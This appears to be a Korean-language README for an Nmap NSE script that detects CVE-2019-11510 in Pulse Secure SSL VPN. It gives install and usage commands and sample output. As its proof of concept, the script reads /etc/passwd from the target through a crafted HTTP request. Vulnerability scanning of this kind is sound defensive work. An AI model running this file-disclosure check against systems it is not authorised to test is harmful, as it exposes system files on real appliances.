http-pulse_ssl_vpn.nse

요약

Pulse Secure SSL VPN에서 특수하게 조작된 HTTP 리소스 요청을 통해 파일 노출을 탐지하는 간단한 NSE 스크립트입니다. 이 익스플로잇은 개념 증명으로 /etc/passwd를 읽습니다. 이 취약점은 다음 버전에 영향을 미칩니다 (8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, 9.0 before 9.0R3.4).

설치

$ git clone https://github.com/r00tpgp/http-pulse_ssl_vpn.nse.git $ cd http-pulse_ssl_vpn.nse/ $ sudo cp http-pulse_ssl_vpn.nse /usr/share/nmap/scripts/

사용법

$ sudo nmap -n -p 443 --script http-pulse_ssl_vpn -n victim_host

PORT STATE SERVICE 443/tcp open https | http-pulse_ssl_vpn: | 취약: | Pulse Secure SSL VPN 파일 노출 (특수하게 조작된 HTTP 리소스 요청을 통해) | 상태: 취약 | ID: CVE:CVE-2019-11510 | Pulse Secure SSL VPN에서 특수하게 조작된 HTTP 리소스 요청을 통한 파일 노출. | 이 익스플로잇은 개념 증명으로 /etc/passwd를 읽습니다. | 이 취약점은 다음 버전에 영향을 미칩니다 (8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, 9.0 before 9.0R3.4) |
| 공개일: 2019-04-24 | 참고: | http://packetstormsecurity.com/files/154176/Pulse-Secure-SSL-VPN-8.1R15.1-8.2-8.3-9.0-Arbitrary-File-Disclosure.html | http://www.securityfocus.com/bid/108073 |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510

Nmap 완료: 1 IP 주소 (1개 호스트 응답) 1.81초 내 스캔됨